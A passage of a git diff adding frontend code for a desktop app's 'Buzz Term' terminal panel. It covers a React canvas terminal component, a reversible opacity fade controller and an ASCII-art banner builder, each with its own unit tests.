+    const ResizeObserverConstructor = window.ResizeObserver;
+    if (!ResizeObserverConstructor) return;
+    const observer = new ResizeObserverConstructor(() => reportViewportSize());
+    observer.observe(canvas);
+    return () => observer.disconnect();
+  }, []);
+
+  React.useLayoutEffect(() => {
+    if (viewportReportingEnabled) reportViewportSize();
+  }, [viewportReportingEnabled]);
+
+  React.useEffect(() => {
+    if (!focusReportingEnabled) {
+      reportedFocusRef.current = null;
+      return;
+    }
+    const reportCompositeFocus = () => {
+      const focused = owner === "terminal" && document.hasFocus();
+      if (reportedFocusRef.current === focused) return;
+      reportedFocusRef.current = focused;
+      onTerminalFocusChange(focused);
+    };
+    reportCompositeFocus();
+    window.addEventListener("focus", reportCompositeFocus);
+    window.addEventListener("blur", reportCompositeFocus);
+    return () => {
+      window.removeEventListener("focus", reportCompositeFocus);
+      window.removeEventListener("blur", reportCompositeFocus);
+    };
+  }, [focusReportingEnabled, onTerminalFocusChange, owner]);
+
+  React.useLayoutEffect(() => {
+    if (!enabled) {
+      forceBuzzFallback();
+      return;
+    }
+    const handleKeyDown = (event: KeyboardEvent) => {
+      if (runTabChord(event)) {
+        event.preventDefault();
+        event.stopImmediatePropagation();
+        return;
+      }
+      if (!isToggleChord(event) || event.isComposing) return;
+      event.preventDefault();
+      event.stopImmediatePropagation();
+    };
+    const handleKeyUp = (event: KeyboardEvent) => {
+      if (!isToggleChord(event) || event.isComposing) return;
+      event.preventDefault();
+      event.stopImmediatePropagation();
+      if (onToggle) onToggle();
+      else {
+        setOwner((current) => {
+          const next = current === "terminal" ? "buzz" : "terminal";
+          if (next === "terminal") {
+            textareaRef.current?.focus({ preventScroll: true });
+          }
+          return next;
+        });
+      }
+    };
+    window.addEventListener("keydown", handleKeyDown, true);
+    window.addEventListener("keyup", handleKeyUp, true);
+    if (onToggle) {
+      setOwner("terminal");
+      textareaRef.current?.focus({ preventScroll: true });
+    }
+    return () => {
+      window.removeEventListener("keydown", handleKeyDown, true);
+      window.removeEventListener("keyup", handleKeyUp, true);
+    };
+  }, [enabled, onToggle]);
+
+  React.useEffect(() => {
+    if (!visible) {
+      setWelcomeVisible(false);
+      return;
+    }
+    if (!showSplash || !viewportReportingEnabled || !banner || !beginSplash())
+      return;
+  }, [banner, showSplash, viewportReportingEnabled, visible]);
+
+  React.useEffect(() => {
+    if (!welcomeVisible) return;
+    const timeout = window.setTimeout(
+      () => setWelcomeVisible(false),
+      SPLASH_DURATION_MS,
+    );
+    return () => window.clearTimeout(timeout);
+  }, [welcomeVisible]);
+
+  // The splash is a bounded decoration, never a PTY-readiness gate. Each open
+  // gets one animation epoch; input may dismiss it early and the deadline ends
+  // it unconditionally even when an idle shell emits no new frames.
+  React.useEffect(() => {
+    const canvas = bannerCanvasRef.current;
+    if (!canvas || !banner || !terminalPalette || !welcomeVisible || !visible)
+      return;
+    const dpr = window.devicePixelRatio || 1;
+    if (reducedMotion) {
+      if (!paintTerminalBanner(canvas, banner, terminalPalette, dpr))
+        setWelcomeVisible(false);
+      return;
+    }
+
+    const table = buildBannerColorTable(terminalPalette);
+    const start = performance.now();
+    let frame = 0;
+    const tick = (now: number) => {
+      if (
+        !paintTerminalBanner(canvas, banner, terminalPalette, dpr, {
+          phase: phaseAt((now - start) / 1000),
+          table,
+        })
+      ) {
+        setWelcomeVisible(false);
+        return;
+      }
+      frame = window.requestAnimationFrame(tick);
+    };
+    frame = window.requestAnimationFrame(tick);
+    return () => window.cancelAnimationFrame(frame);
+  }, [banner, reducedMotion, terminalPalette, visible, welcomeVisible]);
+
+  const paintTerminal = React.useEffectEvent(() => {
+    const canvas = canvasRef.current;
+    if (!canvas || !terminalPalette) return;
+    const context = canvas.getContext("2d", { alpha: false });
+    if (!context) {
+      forceBuzzFallback();
+      return;
+    }
+    const dpr = window.devicePixelRatio || 1;
+    const bounds = canvas.getBoundingClientRect();
+    const pixelWidth = Math.round(bounds.width * dpr);
+    const pixelHeight = Math.round(bounds.height * dpr);
+    const resized =
+      canvas.width !== pixelWidth || canvas.height !== pixelHeight;
+    const paletteChanged = paintedPaletteRef.current !== terminalPalette;
+    paintedPaletteRef.current = terminalPalette;
+    // A grid drains its dirty set in paint(), so a session that was painted and
+    // then deactivated comes back holding rows with nothing marked dirty. Both
+    // refs are written after the early returns above, so a pass that bails
+    // keeps the switch pending instead of swallowing it.
+    const sessionChanged = paintedSessionRef.current !== activeSessionId;
+    paintedSessionRef.current = activeSessionId;
+    const repaintAll = resized || paletteChanged || sessionChanged;
+    if (resized) {
+      canvas.width = pixelWidth;
+      canvas.height = pixelHeight;
+    }
+    if (repaintAll) {
+      gridRef.current?.markAllDirty();
+    }
+    context.setTransform(dpr, 0, 0, dpr, 0, 0);
+    if (repaintAll) {
+      // Not grid-guarded: switching to a session that has delivered no frame
+      // yet has no grid to mark or paint, so this fill is the only thing that
+      // erases the outgoing session's pixels.
+      context.fillStyle = terminalPalette.background;
+      context.fillRect(0, 0, bounds.width, bounds.height);
+    }
+    gridRef.current?.setCursorPainted(cursorPainted);
+    gridRef.current?.paint(context, TERMINAL_CELL_METRICS, terminalPalette);
+  });
+
+  // Palette and blink changes must trigger a repaint; paintTerminal is an
+  // Effect Event, so the dependency analyzer cannot see those reads.
+  // biome-ignore lint/correctness/useExhaustiveDependencies: visual-only inputs intentionally trigger this paint effect.
+  React.useEffect(() => {
+    for (const delivered of frames) {
+      if (appliedFramesRef.current.has(delivered.frame)) continue;
+      appliedFramesRef.current.add(delivered.frame);
+      let grid = gridsRef.current.get(delivered.sessionId);
+      if (!grid) {
+        grid = new TerminalGrid(delivered.frame.viewport);
+        gridsRef.current.set(delivered.sessionId, grid);
+      } else if (
+        grid.viewport.generation !== delivered.frame.viewport.generation ||
+        grid.viewport.columns !== delivered.frame.viewport.columns ||
+        grid.viewport.screenLines !== delivered.frame.viewport.screenLines
+      ) {
+        grid.resize(delivered.frame.viewport);
+      }
+      grid.apply(delivered.frame);
+      consumeFrame(delivered.frame);
+    }
+    gridRef.current = activeSessionId
+      ? (gridsRef.current.get(activeSessionId) ?? null)
+      : null;
+
+    paintTerminal();
+  }, [activeSessionId, cursorPainted, frames, terminalPalette]);
+
+  const runTabAction = (action: () => void) => {
+    action();
+    if (owner === "terminal") {
+      textareaRef.current?.focus({ preventScroll: true });
+    }
+  };
+
+  return (
+    <section
+      aria-label="Buzz Term"
+      className="buzz-terminal-substrate"
+      data-terminal-mode={mode}
+      data-terminal-owner={owner}
+      data-terminal-visible={visible ? "true" : "false"}
+      style={{
+        ...terminalStyle,
+        ...(mode === "docked" ? { height: dockHeight } : undefined),
+      }}
+      onWheel={(event) => {
+        event.preventDefault();
+        const sessionId = activeSession?.id;
+        if (!sessionId) return;
+        const deltaPx =
+          event.deltaMode === 1
+            ? event.deltaY * CELL_HEIGHT
+            : event.deltaMode === 2
+              ? event.deltaY * event.currentTarget.clientHeight
+              : event.deltaY;
+        const result = accumulateScrollLines(
+          { remainderPx: scrollBySessionRef.current.get(sessionId) ?? 0 },
+          deltaPx,
+          CELL_HEIGHT,
+        );
+        scrollBySessionRef.current.set(sessionId, result.state.remainderPx);
+        if (result.lines !== 0) onScroll(result.lines);
+      }}
+    >
+      {mode === "docked" ? (
+        <hr
+          aria-label="Resize Buzz Term"
+          aria-orientation="horizontal"
+          aria-valuemax={Math.round(window.innerHeight * 0.7)}
+          aria-valuemin={180}
+          aria-valuenow={Math.round(dockHeight)}
+          className="buzz-terminal-resize-handle"
+          onKeyDown={(event) => {
+            if (event.key !== "ArrowUp" && event.key !== "ArrowDown") return;
+            event.preventDefault();
+            const delta = event.key === "ArrowUp" ? 16 : -16;
+            const next = Math.max(
+              180,
+              Math.min(window.innerHeight * 0.7, dockHeight + delta),
+            );
+            setDockHeight(next);
+            window.localStorage.setItem(
+              "buzz-terminal-dock-height",
+              String(Math.round(next)),
+            );
+          }}
+          onPointerDown={(event) => {
+            event.preventDefault();
+            dragCleanupRef.current?.();
+            window.cancelAnimationFrame(resizeReportFrameRef.current);
+            const handle = event.currentTarget;
+            const substrate = handle.closest<HTMLElement>(
+              ".buzz-terminal-substrate",
+            );
+            if (!substrate) return;
+            const pointerId = event.pointerId;
+            handle.setPointerCapture(pointerId);
+            resizingRef.current = true;
+            substrate.dataset.terminalResizing = "true";
+            const startY = event.clientY;
+            const startHeight = dockHeight;
+            let nextHeight = startHeight;
+            let frame = 0;
+            const applyHeight = () => {
+              frame = 0;
+              substrate.style.height = `${nextHeight}px`;
+              // Repaint the canvas at its new CSS size in the same visual
+              // frame. PTY geometry is still reported only on release, but
+              // leaving the old backing bitmap in a `height: 100%` canvas
+              // makes the browser stretch terminal rows during the drag.
+              paintTerminal();
+            };
+            const cleanup = () => {
+              window.cancelAnimationFrame(frame);
+              frame = 0;
+              handle.removeEventListener("pointermove", move);
+              handle.removeEventListener("pointerup", finish);
+              handle.removeEventListener("pointercancel", finish);
+              if (dragCleanupRef.current === cleanup)
+                dragCleanupRef.current = null;
+            };
+            const move = (moveEvent: PointerEvent) => {
+              if (moveEvent.pointerId !== pointerId) return;
+              nextHeight = Math.max(
+                180,
+                Math.min(
+                  window.innerHeight * 0.7,
+                  startHeight + startY - moveEvent.clientY,
+                ),
+              );
+              if (!frame) frame = window.requestAnimationFrame(applyHeight);
+            };
+            const finish = (finishEvent: PointerEvent) => {
+              if (finishEvent.pointerId !== pointerId) return;
+              if (frame) {
+                window.cancelAnimationFrame(frame);
+                applyHeight();
+              }
+              cleanup();
+              resizingRef.current = false;
+              delete substrate.dataset.terminalResizing;
+              setDockHeight(nextHeight);
+              window.localStorage.setItem(
+                "buzz-terminal-dock-height",
+                String(Math.round(nextHeight)),
+              );
+              resizeReportFrameRef.current = window.requestAnimationFrame(
+                () => {
+                  resizeReportFrameRef.current = 0;
+                  if (!resizingRef.current) reportViewportSize();
+                },
+              );
+            };
+            dragCleanupRef.current = cleanup;
+            handle.addEventListener("pointermove", move);
+            handle.addEventListener("pointerup", finish);
+            handle.addEventListener("pointercancel", finish);
+          }}
+          tabIndex={0}
+        />
+      ) : null}
+      <div className="buzz-terminal-contract-bar">
+        <div className="buzz-terminal-tabs" role="tablist">
+          {sessions.map((session, index) => (
+            <div
+              className={cn(
+                "buzz-terminal-tab",
+                session.active && "buzz-terminal-tab-active",
+              )}
+              key={session.id}
+              role="presentation"
+            >
+              <button
+                aria-label={`Close ${session.title}`}
+                className="buzz-terminal-close"
+                disabled={session.closing}
+                onClick={() => runTabAction(() => onCloseSession(session.id))}
+                type="button"
+              >
+                <X />
+              </button>
+              <button
+                aria-label={`Terminal ${index + 1}${session.closing ? ", closing" : session.title !== "SHELL" ? `, ${session.title}` : ""}`}
+                aria-selected={session.active}
+                className="buzz-terminal-tab-select"
+                disabled={session.closing}
+                onClick={() => runTabAction(() => onSelectSession(session.id))}
+                role="tab"
+                type="button"
+              >
+                <span className="buzz-terminal-designator buzz-terminal-tab-title">
+                  {session.title === "SHELL" ? (
+                    <>
+                      <ChevronRight />
+                      <span>{index + 1}</span>
+                    </>
+                  ) : (
+                    session.title
+                  )}
+                </span>
+                {session.closing ? (
+                  <span className="buzz-terminal-tab-title">Closing…</span>
+                ) : null}
+              </button>
+            </div>
+          ))}
+          <button
+            aria-label="New Buzz Term tab"
+            className="buzz-terminal-new-tab"
+            onClick={() => runTabAction(onNewSession)}
+            type="button"
+          >
+            <Plus />
+          </button>
+        </div>
+        <div className="buzz-terminal-readout">
+          <button
+            aria-label={
+              mode === "maximized" ? "Restore Buzz Term" : "Maximize Buzz Term"
+            }
+            className="buzz-terminal-window-action"
+            onClick={() =>
+              onModeChange(mode === "maximized" ? "docked" : "maximized")
+            }
+            type="button"
+          >
+            {mode === "maximized" ? <Minimize2 /> : <Maximize2 />}
+          </button>
+          <button
+            aria-label="Hide Buzz Term"
+            className="buzz-terminal-window-action"
+            onClick={onHide}
+            type="button"
+          >
+            <X />
+          </button>
+        </div>
+      </div>
+      {/* biome-ignore lint/a11y/noStaticElementInteractions: the hidden textarea owns keyboard semantics; this only preserves its focus across canvas clicks. */}
+      <div
+        className="buzz-terminal-viewport px-5 pt-2"
+        onMouseDown={(event) => {
+          // Preventing the canvas mousedown also suppresses selection. Revisit
+          // this when the terminal gains mouse selection support.
+          event.preventDefault();
+          textareaRef.current?.focus({ preventScroll: true });
+        }}
+      >
+        <canvas ref={canvasRef} />
+        {welcomeVisible && banner ? (
+          <canvas className="buzz-terminal-welcome" ref={bannerCanvasRef} />
+        ) : null}
+        <textarea
+          aria-label="Terminal input"
+          autoCapitalize="off"
+          autoComplete="off"
+          className="buzz-terminal-input"
+          onCompositionEnd={() => {
+            handoffRef.current = reduceHandoff(handoffRef.current, {
+              type: "composition-end",
+            }).state;
+          }}
+          onCompositionStart={() => {
+            handoffRef.current = reduceHandoff(handoffRef.current, {
+              type: "composition-start",
+            }).state;
+          }}
+          onInput={(event) => {
+            if (handoffRef.current.composing) return;
+            const committed = event.currentTarget.value;
+            event.currentTarget.value = "";
+            sendInput(committed);
+          }}
+          onKeyDown={(event) => {
+            if (event.nativeEvent.isComposing) {
+              event.stopPropagation();
+              return;
+            }
+            if (isToggleChord(event.nativeEvent)) return;
+            const encoded = encodeTerminalKey(event);
+            if (encoded) {
+              event.preventDefault();
+              sendInput(encoded);
+            }
+          }}
+          onPaste={(event) => {
+            event.preventDefault();
+            sendInput(
+              encodePaste(
+                event.clipboardData.getData("text/plain"),
+                bracketedPaste,
+              ),
+            );
+          }}
+          ref={textareaRef}
+          spellCheck={false}
+          tabIndex={0}
+        />
+      </div>
+      <div aria-live="polite" className="sr-only">
+        {owner === "terminal" ? "Buzz Term mode" : "Buzz mode"}
+      </div>
+    </section>
+  );
+}
diff --git a/desktop/src/features/terminal/fadeController.test.mjs b/desktop/src/features/terminal/fadeController.test.mjs
new file mode 100644
index 0000000000..ae9214f743
--- /dev/null
+++ b/desktop/src/features/terminal/fadeController.test.mjs
@@ -0,0 +1,154 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import {
+  CONCEAL_DURATION_MS,
+  FADE_EASING,
+  FadeController,
+  REVEAL_DURATION_MS,
+} from "./fadeController.ts";
+
+function deferred() {
+  let resolve;
+  const promise = new Promise((next) => {
+    resolve = next;
+  });
+  return { promise, resolve };
+}
+
+function fixture() {
+  const calls = [];
+  const completions = [deferred()];
+  const animation = {
+    currentTime: 0,
+    playbackRate: 0,
+    finished: completions[0].promise,
+    play() {
+      calls.push("play");
+      completions.push(deferred());
+      this.finished = completions.at(-1).promise;
+    },
+    reverse() {
+      calls.push("reverse");
+      completions.push(deferred());
+      this.finished = completions.at(-1).promise;
+    },
+    cancel() {
+      calls.push("cancel");
+    },
+  };
+  // Models the part of CSSOM this class depends on: an inline declaration is
+  // PRESENT or ABSENT, and only an absent one lets the stylesheet through.
+  // A plain `{ willChange: "auto" }` bag cannot tell those apart, so it would
+  // score a clobbering write as a correct release.
+  const authored = "bottom, box-shadow";
+  const style = {
+    opacity: "1",
+    willChange: "",
+    removeProperty(property) {
+      assert.equal(property, "will-change");
+      this.willChange = "";
+    },
+    /** What the element would actually compute, stylesheet included. */
+    get computedWillChange() {
+      return this.willChange === "" ? authored : this.willChange;
+    },
+  };
+  const surface = {
+    authored,
+    style,
+    animate(frames, options) {
+      calls.push({ frames, options });
+      return animation;
+    },
+  };
+  return {
+    animation,
+    calls,
+    completions,
+    controller: new FadeController(surface),
+    surface,
+  };
+}
+
+test("reversal reuses the one timeline and scales return playback", () => {
+  const { animation, calls, controller } = fixture();
+  assert.equal(controller.toggle(false), "reveal");
+  assert.equal(controller.toggle(false), "conceal");
+  assert.equal(calls.filter((call) => typeof call === "object").length, 1);
+  assert.equal(
+    animation.playbackRate,
+    REVEAL_DURATION_MS / CONCEAL_DURATION_MS,
+  );
+  assert.equal(calls.at(-1), "reverse");
+  assert.equal(calls[0].options.easing, FADE_EASING);
+});
+
+test("fade durations are half the original timing", () => {
+  assert.equal(REVEAL_DURATION_MS, 360);
+  assert.equal(CONCEAL_DURATION_MS, 210);
+});
+
+test("completed fades retain the timeline but release its compositor hint", async () => {
+  const { calls, completions, controller, surface } = fixture();
+
+  assert.equal(controller.toggle(false), "reveal");
+  completions[0].resolve();
+  await Promise.resolve();
+  assert.equal(surface.style.computedWillChange, surface.authored);
+
+  assert.equal(controller.toggle(false), "conceal");
+  assert.equal(calls.includes("cancel"), false);
+  assert.equal(surface.style.willChange, "opacity");
+  assert.equal(calls.filter((call) => typeof call === "object").length, 1);
+});
+
+test("a stale completion cannot release the hint during a reversal", async () => {
+  const { completions, controller, surface } = fixture();
+
+  controller.toggle(false);
+  controller.toggle(false);
+  completions[0].resolve();
+  await Promise.resolve();
+  assert.equal(surface.style.willChange, "opacity");
+
+  completions[1].resolve();
+  await Promise.resolve();
+  assert.equal(surface.style.computedWillChange, surface.authored);
+});
+
+test("reduced motion settles immediately without allocating an animation", () => {
+  const { calls, controller, surface } = fixture();
+  assert.equal(controller.toggle(true), "reveal");
+  assert.equal(surface.style.opacity, "0");
+  assert.equal(surface.style.computedWillChange, surface.authored);
+  assert.deepEqual(calls, []);
+});
+
+test('releasing the fade hint restores the authored will-change, not "auto"', async () => {
+  const { completions, controller, surface } = fixture();
+
+  // Before any fade the element is on the stylesheet's hint.
+  assert.equal(surface.style.computedWillChange, surface.authored);
+
+  controller.toggle(false);
+  assert.equal(surface.style.willChange, "opacity");
+
+  completions[0].resolve();
+  await Promise.resolve();
+  // The inline declaration must be REMOVED. Writing the literal "auto" would
+  // leave an inline value that outranks the stylesheet and permanently strips
+  // the surface's authored compositor hint after the first fade.
+  assert.equal(surface.style.willChange, "");
+  assert.equal(surface.style.computedWillChange, surface.authored);
+});
+
+test('settle also restores the authored hint rather than pinning "auto"', () => {
+  const { controller, surface } = fixture();
+  controller.toggle(false);
+  assert.equal(surface.style.willChange, "opacity");
+
+  controller.settle("conceal");
+  assert.equal(surface.style.willChange, "");
+  assert.equal(surface.style.computedWillChange, surface.authored);
+});
diff --git a/desktop/src/features/terminal/fadeController.ts b/desktop/src/features/terminal/fadeController.ts
new file mode 100644
index 0000000000..8434140c6e
--- /dev/null
+++ b/desktop/src/features/terminal/fadeController.ts
@@ -0,0 +1,100 @@
+export const REVEAL_DURATION_MS = 360;
+export const CONCEAL_DURATION_MS = 210;
+export const FADE_EASING = "cubic-bezier(.2,.8,.2,1)";
+
+type Direction = "reveal" | "conceal";
+
+type AnimationLike = {
+  currentTime: CSSNumberish | null;
+  playbackRate: number;
+  play(): void;
+  reverse(): void;
+  cancel(): void;
+  finished: Promise<unknown>;
+};
+
+type SurfaceLike = {
+  style: Pick<CSSStyleDeclaration, "opacity" | "willChange" | "removeProperty">;
+  animate(
+    keyframes: Keyframe[] | PropertyIndexedKeyframes | null,
+    options?: number | KeyframeAnimationOptions,
+  ): AnimationLike;
+};
+
+/** One reversible opacity timeline; toggles never queue a second animation. */
+export class FadeController {
+  #surface: SurfaceLike;
+  #animation: AnimationLike | null = null;
+  #direction: Direction = "conceal";
+  #token = 0;
+
+  constructor(surface: SurfaceLike) {
+    this.#surface = surface;
+  }
+
+  /**
+   * The fade owns `will-change` only for as long as it is animating. The app
+   * surface also carries an authored `will-change` for the huddle drawer
+   * transition, and an inline declaration outranks the stylesheet — so writing
+   * the literal `"auto"` does not "clear" the hint, it permanently replaces
+   * the drawer's. Removing the inline property hands the element back to CSS.
+   */
+  #releaseHint(): void {
+    this.#surface.style.removeProperty("will-change");
+  }
+
+  settle(direction: Direction): void {
+    if (this.#animation) {
+      this.#token += 1;
+      this.#animation.cancel();
+      this.#animation = null;
+    }
+    this.#direction = direction;
+    this.#surface.style.opacity = direction === "reveal" ? "0" : "1";
+    this.#releaseHint();
+  }
+
+  toggle(reducedMotion: boolean): Direction {
+    const next = this.#direction === "reveal" ? "conceal" : "reveal";
+    if (reducedMotion) {
+      this.settle(next);
+      return next;
+    }
+    this.#direction = next;
+    this.#surface.style.willChange = "opacity";
+    if (!this.#animation) {
+      this.#animation = this.#surface.animate(
+        [{ opacity: 1 }, { opacity: 0 }],
+        {
+          duration: REVEAL_DURATION_MS,
+          easing: FADE_EASING,
+          fill: "both",
+        },
+      );
+      this.#animation.playbackRate = 1;
+      if (next === "conceal") {
+        this.#animation.currentTime = REVEAL_DURATION_MS;
+        this.#animation.playbackRate = REVEAL_DURATION_MS / CONCEAL_DURATION_MS;
+        this.#animation.reverse();
+      }
+    } else if (next === "reveal") {
+      this.#animation.playbackRate = 1;
+      this.#animation.play();
+    } else {
+      this.#animation.playbackRate = REVEAL_DURATION_MS / CONCEAL_DURATION_MS;
+      this.#animation.reverse();
+    }
+    const animation = this.#animation;
+    const token = ++this.#token;
+    void animation.finished
+      .then(() => {
+        if (this.#animation === animation && this.#token === token) {
+          this.#releaseHint();
+        }
+      })
+      .catch(() => {
+        // Reversal/cancellation rejects `finished`; the live timeline owns state.
+      });
+    return next;
+  }
+}
diff --git a/desktop/src/features/terminal/terminalBanner.test.mjs b/desktop/src/features/terminal/terminalBanner.test.mjs
new file mode 100644
index 0000000000..7d18958654
--- /dev/null
+++ b/desktop/src/features/terminal/terminalBanner.test.mjs
@@ -0,0 +1,109 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import { buildTerminalBanner } from "./terminalBanner.ts";
+
+function layers(banner) {
+  return new Map(
+    ["field", "head", "bevel_hi", "bevel_lo"].map((layer) => [
+      layer,
+      banner.cells.flat().filter((cell) => cell.layer === layer),
+    ]),
+  );
+}
+
+function frameBounds(banner) {
+  const cells = banner.cells.flatMap((row, y) =>
+    row.flatMap((cell, x) =>
+      cell.layer === "bevel_hi" || cell.layer === "bevel_lo" ? [{ x, y }] : [],
+    ),
+  );
+  return {
+    top: Math.min(...cells.map(({ y }) => y)),
+    left: Math.min(...cells.map(({ x }) => x)),
+    bottom: Math.max(...cells.map(({ y }) => y)) + 1,
+    right: Math.max(...cells.map(({ x }) => x)) + 1,
+  };
+}
+
+function headRows(banner) {
+  const cells = banner.cells.flatMap((row, y) =>
+    row.flatMap((cell, x) =>
+      cell.layer === "head" ? [{ ...cell, x, y }] : [],
+    ),
+  );
+  const left = Math.min(...cells.map(({ x }) => x));
+  const right = Math.max(...cells.map(({ x }) => x));
+  const top = Math.min(...cells.map(({ y }) => y));
+  const bottom = Math.max(...cells.map(({ y }) => y));
+  return Array.from({ length: bottom - top + 1 }, (_, row) =>
+    Array.from(
+      { length: right - left + 1 },
+      (_, column) =>
+        cells.find(({ x, y }) => x === left + column && y === top + row)
+          ?.char ?? " ",
+    )
+      .join("")
+      .trimEnd(),
+  );
+}
+
+const EXPECTED_BUZZ_TERM = [
+  "██                                             ██",
+  "██▄▄▄     ██  ██    ██████    ██████          █████      ▄███▄    ██ ▄██    ██▄██▄██",
+  "██▀▀██    ██  ██       ▄██       ▄██           ██       ██▄▄▄█    ███▀▀     ██ ██ ██",
+  "██  ██    ██  ██     ▄██▀      ▄██▀            ██       ██        ██        ██ ██ ██",
+  "██████    ▀█████    ██████    ██████            ███      ▀███▀    ██        ██ ██ ██",
+];
+
+test("builds the amended four-layer Buzz Term composite", () => {
+  const banner = buildTerminalBanner(183, 69, 17 / 8.4);
+  assert.ok(banner);
+  const seen = layers(banner);
+  for (const layer of seen.keys()) assert.ok(seen.get(layer).length > 0, layer);
+  const head = seen.get("head");
+  const sweep = head.map((cell) => cell.t);
+  assert.equal(Math.min(...sweep), 0);
+  assert.equal(Math.max(...sweep), 1);
+  assert.ok(head.every((cell) => cell.layer === "head"));
+  const { top, left, bottom, right } = frameBounds(banner);
+  assert.equal(banner.cells[top][left].layer, "bevel_hi");
+  assert.equal(banner.cells[bottom - 1][right - 1].layer, "bevel_lo");
+  assert.deepEqual(headRows(banner), EXPECTED_BUZZ_TERM);
+});
+
+test("requires every frame emitter independently", () => {
+  const banner = buildTerminalBanner(183, 69, 17 / 8.4);
+  assert.ok(banner);
+  const { top, left, bottom, right } = frameBounds(banner);
+
+  for (let x = left; x < right; x += 1)
+    assert.equal(banner.cells[top][x].layer, "bevel_hi", `top_row:${x}`);
+  for (let y = top + 1; y < bottom - 1; y += 1) {
+    assert.equal(banner.cells[y][left].layer, "bevel_hi", `left_rail:${y}`);
+    assert.equal(
+      banner.cells[y][right - 1].layer,
+      "bevel_lo",
+      `right_rail:${y}`,
+    );
+  }
+  for (let x = left; x < right; x += 1)
+    assert.equal(
+      banner.cells[bottom - 1][x].layer,
+      "bevel_lo",
+      `bottom_row:${x}`,
+    );
+});
+
+test("emits complete hexagons only and fades per ray", () => {
+  const banner = buildTerminalBanner(112, 46, 17 / 8.4);
+  assert.ok(banner);
+  const field = layers(banner).get("field");
+  assert.equal(field.length % 8, 0);
+  assert.ok(field.some((cell) => cell.t < 0.1));
+  assert.ok(field.some((cell) => cell.t > 0.5));
+});
+
+test("declines viewports too small for the complete wordmark", () => {
+  assert.equal(buildTerminalBanner(40, 20, 17 / 8.4), null);
+});
diff --git a/desktop/src/features/terminal/terminalBanner.ts b/desktop/src/features/terminal/terminalBanner.ts
new file mode 100644
index 0000000000..49a7c22732
--- /dev/null
+++ b/desktop/src/features/terminal/terminalBanner.ts
@@ -0,0 +1,276 @@
+export type TerminalBannerLayer = "field" | "head" | "bevel_hi" | "bevel_lo";
+
+export type TerminalBannerCell = Readonly<{
+  char: string;
+  layer?: TerminalBannerLayer;
+  t: number;
+}>;
+
+export type TerminalBanner = Readonly<{
+  cells: readonly (readonly TerminalBannerCell[])[];
+}>;
+
+const HEX = [
+  [0, 1, "_"],
+  [0, 2, "_"],
+  [1, 0, "/"],
+  [1, 3, "\\"],
+  [2, 0, "\\"],
+  [2, 1, "_"],
+  [2, 2, "_"],
+  [2, 3, "/"],
+] as const;
+
+const GLYPHS: Readonly<Record<string, readonly string[]>> = {
+  b: ["██     ", "██▄▄▄  ", "██▀▀██ ", "██  ██ ", "██████ "],
+  u: ["       ", "██  ██ ", "██  ██ ", "██  ██ ", "▀█████ "],
+  z: ["       ", "██████ ", "   ▄██ ", " ▄██▀  ", "██████ "],
+  t: [" ██    ", "█████  ", " ██    ", " ██    ", "  ███  "],
+  e: ["       ", " ▄███▄ ", "██▄▄▄█ ", "██     ", " ▀███▀ "],
+  r: ["       ", "██ ▄██ ", "███▀▀  ", "██     ", "██     "],
+  m: ["        ", "██▄██▄██", "██ ██ ██", "██ ██ ██", "██ ██ ██"],
+  " ": ["   ", "   ", "   ", "   ", "   "],
+};
+
+const INK_FRAME = {
+  topLeft: "▛",
+  topRight: "▜",
+  bottomLeft: "▙",
+  bottomRight: "▟",
+  top: "▀",
+  bottom: "▄",
+  left: "▌",
+  right: "▐",
+} as const;
+const LAYERS: readonly TerminalBannerLayer[] = [
+  "field",
+  "head",
+  "bevel_hi",
+  "bevel_lo",
+];
+type TerminalBannerEmitter =
+  | "field"
+  | "top_row"
+  | "left_rail"
+  | "right_rail"
+  | "bottom_row"
+  | "wordmark";
+const EMITTERS: readonly TerminalBannerEmitter[] = [
+  "field",
+  "top_row",
+  "left_rail",
+  "right_rail",
+  "bottom_row",
+  "wordmark",
+];
+
+function trimRight(value: string): string {
+  return value.replace(/\s+$/, "");
+}
+
+function wordmark(gap: number): readonly string[] {
+  const rows = Array.from({ length: 5 }, () => "");
+  for (const [index, letter] of [..."buzz term"].entries()) {
+    const glyph = GLYPHS[letter];
+    for (let row = 0; row < rows.length; row += 1) {
+      rows[row] += glyph[row] + (index < 8 ? " ".repeat(gap) : "");
+    }
+  }
+  return rows.map(trimRight).filter((row) => row.trim());
+}
+
+function fitWordmark(columns: number): readonly string[] | null {
+  for (const gap of [3, 2, 1, 0]) {
+    const mark = wordmark(gap);
+    if (Math.max(...mark.map((row) => row.length)) <= columns) return mark;
+  }
+  return null;
+}
+
+function stableRandom(band: number, index: number): number {
+  let value = 2166136261;
+  for (const code of [...`${band}:${index}`].map((char) =>
+    char.charCodeAt(0),
+  )) {
+    value = Math.imul(value ^ code, 16777619);
+  }
+  return (value >>> 0) / 0xffffffff;
+}
+
+function completeHexes(columns: number, rows: number) {
+  const cells: { band: number; index: number; y: number; x: number }[] = [];
+  for (let band = 0, y = -2; y < rows; band += 1, y += 2) {
+    for (
+      let index = 0, x = -6 + (band % 2 ? 3 : 0);
+      x < columns;
+      index += 1, x += 6
+    ) {
+      if (
+        HEX.every(
+          ([dy, dx]) =>
+            y + dy >= 0 && y + dy < rows && x + dx >= 0 && x + dx < columns,
+        )
+      ) {
+        cells.push({ band, index, y, x });
+      }
+    }
+  }
+  return cells;
+}
+
+export function buildTerminalBanner(
+  columns: number,
+  rows: number,
+  cellAspect: number,
+): TerminalBanner | null {
+  const mark = fitWordmark(columns - 10);
+  if (!mark || rows < mark.length + 6) return null;
+
+  const width = Math.max(...mark.map((row) => row.length));
+  const height = mark.length;
+  const paddingX = columns >= width + 24 ? 6 : 2;
+  const paddingY = rows >= height + 12 ? 2 : 1;
+  const innerWidth = Math.min(columns - 4, width + paddingX * 2);
+  const frameWidth = innerWidth + 2;
+  const frameHeight = height + paddingY * 2 + 2;
+  const left = Math.floor((columns - frameWidth) / 2);
+  const top = Math.floor((rows - frameHeight) / 2);
+  const centerX = left + frameWidth / 2;
+  const centerY = top + frameHeight / 2;
+  const grid: TerminalBannerCell[][] = Array.from({ length: rows }, () =>
+    Array.from({ length: columns }, () => ({ char: " ", t: 0 })),
+  );
+  const emitted = new Set<TerminalBannerEmitter>();
+  const put = (
+    y: number,
+    x: number,
+    char: string,
+    layer: TerminalBannerLayer,
+    t = 0,
+    emitter?: TerminalBannerEmitter,
+  ) => {
+    if (y >= 0 && y < rows && x >= 0 && x < columns) {
+      grid[y][x] = { char, layer, t };
+      if (emitter) emitted.add(emitter);
+    }
+  };
+
